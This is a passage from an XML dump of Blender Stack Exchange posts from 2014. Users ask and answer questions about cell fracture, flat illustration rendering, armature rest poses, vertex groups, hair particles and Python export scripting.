rel=&quot;nofollow&quot;&gt;http://graphicall.org/?keywords=fracture&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is one of the videos made by an VFX artist that was posted a few days ago.  It's pretty cool stuff.  &lt;a href=&quot;https://www.youtube.com/watch?v=6MOjzocszFM&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=6MOjzocszFM&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's one that the developer made last year.  It looks like that branch is also still available on Graphicall as well as the newer modifier branch. &lt;a href=&quot;https://www.youtube.com/watch?v=4DQMMKzgnKk&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=4DQMMKzgnKk&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-08-28T23:26:11.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15379" PostTypeId="1" CreationDate="2014-08-29T00:29:19.760" Score="0" ViewCount="853" Body="&lt;p&gt;I'm a beginner in Blender and I was trying to do &lt;a href=&quot;https://www.youtube.com/watch?v=GTq9sLQOiVs&amp;amp;list=PLzmyR17f55-LVbgnzhS4Xl9zJ3dSCdYW3&amp;amp;index=1&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt; This is a planet being fractured, so cell fracture addon is used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At 6:20, after cell fracture has been applied and I have switched to layer 2, it is said to press &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;+RightMouseButton on one of the pieces so that it becomes possible to work on all the pieces at the same time in edit mode (by joining them). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that it does not work for me. I'm using Blender version 2.71.&lt;/p&gt;&#xA;" OwnerUserId="5807" LastEditorUserId="599" LastEditDate="2014-08-29T23:56:34.817" LastActivityDate="2014-09-29T00:07:51.627" Title="Edit all the parts of a cell fractured object at the same time" Tags="&lt;objects&gt;&lt;editing&gt;" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15380" PostTypeId="1" CreationDate="2014-08-29T02:25:34.183" Score="2" ViewCount="4447" Body="&lt;p&gt;I'm looking for another method for creating illustrations for my children's books. I have traditionally worked in Illustrator, but like the idea of modeling and setting my object into different environments rather than drawing it over and over in different settings. Can I &quot;dial down&quot; the realism to create &quot;flatter,&quot; albeit dimensional-looking graphics? View what I'm trying to describe at &lt;a href=&quot;http://www.nathanclement.com/2.html&quot; rel=&quot;nofollow&quot;&gt;http://www.nathanclement.com/2.html&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5810" LastEditorUserId="2217" LastEditDate="2014-08-29T16:10:07.747" LastActivityDate="2014-09-28T18:01:13.803" Title="Can blender create images to look like vector graphics?" Tags="&lt;rendering&gt;&lt;freestyle&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15382" PostTypeId="2" ParentId="2342" CreationDate="2014-08-29T04:19:15.400" Score="2" Body="&lt;p&gt;Recently, I came across this as an issue as well. The AutoCAD converter I had tried using didn't work out too well. But I was able to, after installing the latest version of Sketchup 8, export directly from Sketchup in the .obj format and import directly into Blender. Of course you have to remember to turn on the plugin in the User Preferences menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exporting options, like the other answers have stated, don't tend to work out too well. The file loses translation in between programs. Merging layers and codes or omitting them altogether. I think the first time I tried using the .dae it turned a bracket into this weird spikey ball vector. So I don't recommend it. &lt;/p&gt;&#xA;" OwnerUserId="5811" LastActivityDate="2014-08-29T04:19:15.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15383" PostTypeId="1" CreationDate="2014-08-29T06:16:18.600" Score="1" ViewCount="64" Body="&lt;p&gt;I used Blender for my project using a real photo and CG. So, I made my custom projection matrix for Blender, using it's camera source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my custom projection code for blender scene:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public override Vector2 Project(Vector3 vertex)&#xA;    {&#xA;        double pixelSize = SensorSize * Near / FocalLength;&#xA;        pixelSize /= Width;&#xA;        pixelSize *= 2;&#xA;&#xA;        double xmin = -0.5 * Width;&#xA;        double ymin = -0.5 * Height;&#xA;        double xmax = 0.5 * Width;&#xA;        double ymax = 0.5 * Height;&#xA;&#xA;        xmin *= pixelSize;&#xA;        ymin *= pixelSize;&#xA;        xmax *= pixelSize;&#xA;        ymax *= pixelSize;&#xA;&#xA;        Matrix44 iw = Matrix44.Invert(this.Transform.WorldWithoutScale);&#xA;        Matrix44 k = Perspective(xmin, xmax, ymax, ymin, Near, Far);&#xA;        Vector3 v = Vector3.Transform(k * iw, vertex);&#xA;        Vector2 result = new Vector2(v.X / v.Z, v.Y / v.Z);&#xA;&#xA;        result.X *= Width;&#xA;        result.Y *= -Height;&#xA;        result.X += Width * 0.5;&#xA;        result.Y += Height * 0.5;&#xA;&#xA;        return result;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Perspective method is complete same with blender lib math function. Sensor Size and Focal Length value is same with blender's inspector. All values are same with blender scene too. (camera position, rotation, mesh vertices ...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I tested the default scene using this code, vertices position had small errors.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pvvyo.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;White points are projected vertices using my own code(ignore center vertex; That is a side effect of non-depth testing). Projected vertices do not match with cube's vertices; but it's error is too large, especially on the left-bottom side, so I think this is not a calculation error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the problem with my code? How can I generate same the projection as the default scene?&lt;/p&gt;&#xA;" OwnerUserId="5659" LastEditorUserId="3078" LastEditDate="2014-08-29T23:01:13.427" LastActivityDate="2014-08-29T23:01:13.427" Title="Vertex Position is different between my own renderer and Blender's internal render" Tags="&lt;python&gt;&lt;rendering&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-08-30T13:19:50.263" ContentLicense="CC BY-SA 3.0" />
  <row Id="15384" PostTypeId="2" ParentId="15359" CreationDate="2014-08-29T06:26:39.400" Score="2" Body="&lt;p&gt;Currently there are no callbacks in &lt;code&gt;bpy.app.handlers&lt;/code&gt; to catch these events. The api we have own isn't well suited to adding callbacks into 100's of operations which would be needed to support customizing the behavior of any tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably it would be better if we just have some way to update marker names built into Blender.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-08-29T06:26:39.400" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15385" PostTypeId="1" AcceptedAnswerId="15387" CreationDate="2014-08-29T07:56:29.843" Score="0" ViewCount="1048" Body="&lt;p&gt;I'm trying to run the below script. But for some reason I receive this error saying&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;File &quot;&amp;lt;blender_console&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;File &quot;Text&quot;, line 18, in &amp;lt;module&amp;gt;&#xA;File &quot;Text&quot;, line 18, in &amp;lt;listcomp&amp;gt;&#xA;indexerror: bpy_prop_collection[index]: index 0 out of range, size 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Below is the script I'm using and in the output it prints 1 only, so this means the error is in this statement &lt;code&gt;labels = [  v.groups[0].group for v in mesh.vertices ]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if anyone could please advise&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;scn = bpy.context.scene&#xA;mesh_obj = scn.objects.active&#xA;mesh = mesh_obj.data&#xA;&#xA;vertex_groups = mesh_obj.vertex_groups&#xA;print(&quot;1&quot;)&#xA;&#xA;&#xA;labels = [  v.groups[0].group for v in mesh.vertices ]&#xA;print(&quot;2&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2517" LastEditorUserId="2517" LastEditDate="2014-08-29T08:09:48.897" LastActivityDate="2014-08-29T13:08:20.223" Title="indexerror: bpy_prop_collection[index]: index 0 out of range, size 0" Tags="&lt;python&gt;&lt;mesh&gt;&lt;vertices&gt;&lt;vertex-groups&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15386" PostTypeId="1" CreationDate="2014-08-29T09:28:48.053" Score="2" ViewCount="358" Body="&lt;p&gt;I am batch rendering files and it would really help me if I could add the marker name of the frame being rendered to the name of the output file. So for example my marker is called 'front_view' and the file name for that rendered frame would be 'front_view_objectname.png' or at least 'front_view.png','back_view.png' etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched online and couldn't find an answer. &lt;/p&gt;&#xA;" OwnerUserId="5813" LastEditorUserId="599" LastEditDate="2014-08-29T18:42:00.523" LastActivityDate="2014-08-29T18:42:00.523" Title="Is it possible to use a frames marker name and append it to the file name upon export?" Tags="&lt;rendering&gt;&lt;animation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15387" PostTypeId="2" ParentId="15385" CreationDate="2014-08-29T13:08:20.223" Score="2" Body="&lt;p&gt;Your assumption is that there is at least one group (&lt;code&gt;groups[0]&lt;/code&gt;) that can be accessed, but it's not the case if the vertex isn't assigned to any group. It's independent of the existing vertex groups of the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want a list of all vertex group names, use this instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;labels = [vgroup.name for vgroup in mesh_obj.vertex_groups]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For a list of all vertex groups the current vertex is part of, use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Create a lookup dictionary once&#xA;vgroup_mapping = {i: vgroup.name for i, vgroup in enumerate(mesh_obj.vertex_groups)}&#xA;&#xA;# Look up the vgroup names for a certain vertex (could also iterate over all vertices here)&#xA;vert = mesh.vertices[0]&#xA;labels = [vgroup_mapping[group.group] for group in vert.groups]&#xA;print(labels)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-08-29T13:08:20.223" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15388" PostTypeId="2" ParentId="15386" CreationDate="2014-08-29T14:25:39.120" Score="2" Body="&lt;p&gt;No, this isn't supported, however there are some options you could try instead.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Stamp the marker name into the file and read the marker name back out later. (JPEG, EXR, PNG support writing stamp data into the file) &lt;/li&gt;&#xA;&lt;li&gt;Write a pre-render handler to impliment this with a python script, so before rendering, change the name based on the marker &lt;em&gt;(I didn't check this works, only some settings can be changed while rendering)&lt;/em&gt;. (See: &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.app.handlers.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.app.handlers.html&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Render marker ranges - See: &lt;a href=&quot;https://blender.stackexchange.com/a/15373/55&quot;&gt;https://blender.stackexchange.com/a/15373/55&lt;/a&gt; triggered by a python script.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2014-08-29T14:25:39.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15389" PostTypeId="2" ParentId="15380" CreationDate="2014-08-29T15:52:36.643" Score="2" Body="&lt;p&gt;&lt;strong&gt;Yes, you definitely can&lt;/strong&gt; - but it's not a slider or a checkbox that will instantly do this for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest getting familiar with the Blender Internal Renderer, everything you need to achieve the style you have linked to on your page, you will find in there.&#xA;(You can just as well use Cycles too and achieve such styles I guess, but I think BI is the more economic choice here.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although it's been suggested above, I don't see any need to look into Freestyle Rendering (essentially an optional line rendering functionality subset of BI, and from the next release on Cycles as well) - after all you hardly have any edges in your illustration style.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to give you some pointers for your path from here: You will want to look into &lt;em&gt;shadeless materials&lt;/em&gt; (this is a simple checkbox, in fact :)) and familiarize yourself with the &lt;em&gt;material node system&lt;/em&gt;, I'd think the &lt;em&gt;Normal&lt;/em&gt; node will be involved with some of the techniques that could work for your style. Check out the &lt;em&gt;Blend&lt;/em&gt; texture (essentially: Gradient), this will be a good friend on the way. I think the flat, shadeless shadows might be a task for the compositor, e.g. flattening out a shadow pass with colour correction. Experiment! In any case, you will mostly have to figure this out yourself, which will be some work, but will gain you so much, so be fearless und jump right at it. ;) If you have specific problems feel free to look around here or open up new questions if something hasn't been asked and answered previously. Good luck!&lt;/p&gt;&#xA;" OwnerUserId="3625" LastEditorUserId="3625" LastEditDate="2014-08-29T15:57:44.453" LastActivityDate="2014-08-29T15:57:44.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15391" PostTypeId="1" AcceptedAnswerId="15418" CreationDate="2014-08-29T16:32:50.630" Score="4" ViewCount="7003" Body="&lt;p&gt;This is a simple character mesh: &lt;a href=&quot;http://www.pasteall.org/blend/31247&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/31247&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The mesh has no modifiers.&lt;/li&gt;&#xA;&lt;li&gt;Scale and Rotation have been applied.&lt;/li&gt;&#xA;&lt;li&gt;The Armature's Rest Pose is the T-Pose.&lt;/li&gt;&#xA;&lt;li&gt;The Armature has been posed to match the mesh.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How can i parent the mesh to the armature (with automatic weight from bones) while retaining the armature's original rest pose ?&lt;/p&gt;&#xA;" OwnerUserId="248" LastEditorUserId="248" LastEditDate="2014-08-29T16:59:18.387" LastActivityDate="2014-08-30T14:34:07.350" Title="How do i Parent a mesh to an armature that is not in rest Pose?" Tags="&lt;rigging&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15394" PostTypeId="2" ParentId="15391" CreationDate="2014-08-29T17:14:16.960" Score="0" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the armature change to &lt;em&gt;Pose Mode&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select all &lt;kbd&gt;A&lt;/kbd&gt; (until all bones are selected)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;A&lt;/kbd&gt; Select: Apply Pose as Rest Pose (from &lt;em&gt;Apply&lt;/em&gt; popup menu)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Change to &lt;em&gt;Object Mode&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select mesh&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select armature&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;P&lt;/kbd&gt; Select: With automatic Weights (from &lt;em&gt;Parent to&lt;/em&gt; popup menu)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-08-29T17:14:16.960" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15396" PostTypeId="1" CreationDate="2014-08-29T17:28:03.453" Score="7" ViewCount="1756" Body="&lt;p&gt;So I'm working on a mesh with sub-meshes, and as I work on various bits of the project, I hide other parts to make it easier to see what I am doing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I work on one thing and hide a few predefined vertex groups and a random group of vertices, and do more work. &#xA;Now I want to make a change to one of the vertex groups, and I'd like to unhide &lt;strong&gt;only&lt;/strong&gt; that vertex group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't found a way; has anyone else? Is this worthy of a feature request?&lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="5705" LastEditDate="2016-02-25T05:22:11.147" LastActivityDate="2016-02-25T05:41:47.250" Title="Is it possible to unhide only part of a mesh?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;workflow&gt;&lt;vertex-groups&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15397" PostTypeId="2" ParentId="15286" CreationDate="2014-08-29T17:44:12.060" Score="4" Body="&lt;p&gt;While you can't specify a material per object on each render layer you can get the same object rendered with two materials using render layers - this applies to both BI and Cycles. Render layers have a material override that applies to every object in that render layer, if only one object uses that layer then it is the only one that gets that material, you can create more than one render layer that uses the same scene layers but have different material overrides.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You want the target object to be visible on a layer by itself.&lt;/li&gt;&#xA;&lt;li&gt;Create one render layer that renders only the target object's scene layer, set the layer material to use the first material.&lt;/li&gt;&#xA;&lt;li&gt;Create another render layer for the same scene layer and set the layer material to the second material.&lt;/li&gt;&#xA;&lt;li&gt;Create a third layer for the rest of the objects in the scene.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Composite the two object layers as desired and then composite over the background layer to get the final image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I have one cube in a corner, one layer uses a plain blue material, one layer uses a red material with mirror at 0.4 and the third layer has the green walls that mix into the mirror of the red material. The cube is on scene layer one and the walls are on scene layer 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k5BtW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-08-29T17:44:12.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15398" PostTypeId="2" ParentId="15377" CreationDate="2014-08-29T18:13:43.937" Score="1" Body="&lt;p&gt;Unlike plain objects armature bones have two defined positions. The first position is known as the rest position (or rest pose) and is the position while in edit mode. While in pose or object mode the pose position is used. This pose position is the one that you keyframe to get animations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While in pose mode any movements are retained as locations relative to the rest position, You can rotate a bone in pose mode then go into edit mode and move it sideways, it will also move sideways in pose mode but will also retain the rotation that was applied before the edit was made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While in pose mode you can select bones as desired and clear any rotation or location changes to get the armature back to a rest pose with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; for location and &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; for rotation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the armature properties you can also switch between rest and pose position to see any pose alterations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dsURG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-08-29T18:13:43.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15399" PostTypeId="2" ParentId="15396" CreationDate="2014-08-29T18:27:22.657" Score="7" Body="&lt;p&gt;I think you might be interested in the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Mask&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Mask modifier&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This modifier will hide everything except the specified vertex group, or the other way around if you have the &lt;em&gt;invert&lt;/em&gt; icon selected. To hide multiple vertex groups, you can add multiple modifiers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/93ZVt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure the modifier is enabled in edit mode (triangle icon).&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-08-29T18:34:56.410" LastActivityDate="2014-08-29T18:34:56.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15400" PostTypeId="2" ParentId="15379" CreationDate="2014-08-29T18:27:50.380" Score="0" Body="&lt;p&gt;By default blender uses the right mouse button to select items. Shift right mouse button will then add another item to the selection, or if an already selected item is clicked then the item will become the &quot;active&quot; item, that is the one highlighted slightly lighter that the others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you change your preferences to select with the left mouse button then you will need to use shift left mouse button instead.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-08-29T18:27:50.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15401" PostTypeId="2" ParentId="15355" CreationDate="2014-08-29T19:27:03.833" Score="12" Body="&lt;h2&gt;Themes&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Interface/Themes/&quot; rel=&quot;noreferrer&quot;&gt;Contrib themes&lt;/a&gt; (already included in non-release builds by default)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.blendswap.com/terms/category/blender-themes&quot; rel=&quot;noreferrer&quot;&gt;Blendswap&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/forumdisplay.php?48-Released-Scripts-and-Themes&quot; rel=&quot;noreferrer&quot;&gt;BlenderArtists&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2016-02-09T00:14:33.653" CommentCount="0" CommunityOwnedDate="2014-08-29T19:27:03.833" ContentLicense="CC BY-SA 3.0" />
  <row Id="15402" PostTypeId="2" ParentId="15379" CreationDate="2014-08-29T19:54:50.660" Score="1" Body="&lt;p&gt;When joining objects, one object must be chosen to join all the other selected objects too.&lt;br&gt;&#xA;In this case it doesn't really make a difference which object that is, but if you had different modifiers or materials on the objects, blender needs to know which object's modifiers should be used on the resulting combined object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally this is done with the &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Selecting#Selections_and_the_Active_Object&quot; rel=&quot;nofollow noreferrer&quot;&gt;Active object&lt;/a&gt;&lt;/em&gt;, which is outlined in yellow and in most cases is the last selected object. Note that an object can be active without being selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right after running the cellfracture operator is a rare case where there is no active object. You need to define one by selecting an object, but after you have done that, that object is active until you select another object and it becomes the new active object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the tutorial he uses &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot;&gt; RMB&lt;/kbd&gt; on a already selected object (orange outline) to make it active (yellow outline) without affecting the rest of the objects. I'm not sure why this didn't work for you (are you sure the object's outline didn't change color?), but you can just as easily select all the objects after one is active, e.g. with box select (&lt;kbd&gt;B&lt;/kbd&gt;) or if you really want to select &lt;em&gt;all&lt;/em&gt; the visible objects, &lt;kbd&gt;A&lt;/kbd&gt;.&lt;br&gt;&#xA;Once you have your active object and selection, you can join them with &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt; or the join button in the toolshelf.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6sY8f.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-08-29T19:54:50.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15403" PostTypeId="1" AcceptedAnswerId="15404" CreationDate="2014-08-29T20:05:24.993" Score="5" ViewCount="626" Body="&lt;p&gt;My scene involves a plane that has several modifiers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Subdivide, set to six.&lt;/li&gt;&#xA;&lt;li&gt;Array, set to -1 Y axis&lt;/li&gt;&#xA;&lt;li&gt;Array, set to +1 X axis&lt;/li&gt;&#xA;&lt;li&gt;Displace with a basic cloud texture&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I tried following Andrew Price's tutorial on realistic grass, by adding the default hair particle system to the plane and setting the render to a group of grass, but the grass only appears in a small space in the render. What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="5609" LastActivityDate="2014-08-30T00:01:36.893" Title="Hair Paricle System not rendering properly on plane" Tags="&lt;modifiers&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15404" PostTypeId="2" ParentId="15403" CreationDate="2014-08-29T20:23:31.730" Score="4" Body="&lt;p&gt;Make sure the &lt;em&gt;use modifier stack&lt;/em&gt; checkbox is checked in the &lt;em&gt;Emission&lt;/em&gt; section of Particle settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ay1Ux.png&quot; alt=&quot;Particle settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="2217" LastEditDate="2014-08-30T00:01:36.893" LastActivityDate="2014-08-30T00:01:36.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15406" PostTypeId="1" CreationDate="2014-08-30T04:25:06.467" Score="2" ViewCount="1102" Body="&lt;p&gt;Before anything else is said, I know this has already been asked, but I wasn't able to get a straight answer from any previous posts. What I am trying to do is create multiple animations for one object (A simple minecraft-type man).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to make a basic animation by creating a new action for each body part to move (Legs/Arms). This worked great, but I realized that it was highly inefficient, and I couldn't group the actions together in any way. I did some tutorials, and found out I could assign multiple objects to one action. This was not the solution, because all the objects move the exact same way (Legs and Arms would all move together)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am trying to accomplish is to create one object, and have several organized animations for it, this way I can place the object into Unity and implement them into a game.&lt;/p&gt;&#xA;" OwnerUserId="5827" LastEditorUserId="29" LastEditDate="2014-08-30T07:46:52.457" LastActivityDate="2014-10-28T20:32:28.300" Title="How can I make multiple animations for one object?" Tags="&lt;animation&gt;&lt;unity&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15409" PostTypeId="1" CreationDate="2014-08-30T10:15:57.907" Score="3" ViewCount="186" Body="&lt;p&gt;I would like to export selected Armature actions through blender export file gui. So the user would be allowed to select the actions from the list in the GUI (shown in the image) after the File-&gt;Export-&gt;ES3D has been selected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tested PropertyGroups, but they seem to be quite read only once the script is running. What would be the correct way of adding arbitrary amount of toggle buttons in the export file draw function (sample code with PropertyGroups below) after the File-&gt;Export-&gt;ES3D has been selected ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you,&#xA;    -Mika&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example GUI&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K0Fvk.png&quot; alt=&quot;Example toggle buttons&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The example &quot;pseudo&quot; code creates a PropertyGroup when the script is loaded to the Blender (in the blender startup) and I can not change the toggle buttons after that anymore.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;class PresetsCollection(bpy.types.PropertyGroup):&#xA;    actions = {}    &#xA;    index = 0&#xA;    test = ES3D()&#xA;    for a in test.getActions(bpy.context):&#xA;        locals()['action_%s' % index] = BoolProperty(name=a, default=False)&#xA;        actions['action_%s' % index] = a&#xA;        index += 1&#xA;&#xA;class ExportES3D(bpy.types.Operator, ExportHelper):&#xA;    bl_idname = &quot;export_object.es3d&quot;&#xA;    bl_label = &quot;Export ES3D&quot;&#xA;    bl_options = {'UNDO', 'PRESET'}&#xA;&#xA;    filename_ext = &quot;.es&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        layout.label(&quot;Actions&quot;)&#xA;        row = layout.row(align=True)&#xA;        # List &#xA;        box = row.box()&#xA;        e = context.scene.presets&#xA;        for a in inspect.getmembers(e):&#xA;            if a[0][:7] == &quot;action_&quot;:&#xA;                box.prop(e, a[0])&#xA;&#xA;    def execute(self, context):&#xA;        # Export filename must be set&#xA;        if not self.filepath:&#xA;            raise Exception(&quot;filepath not set&quot;)&#xA;&#xA;        # Gather all export data&#xA;        e = 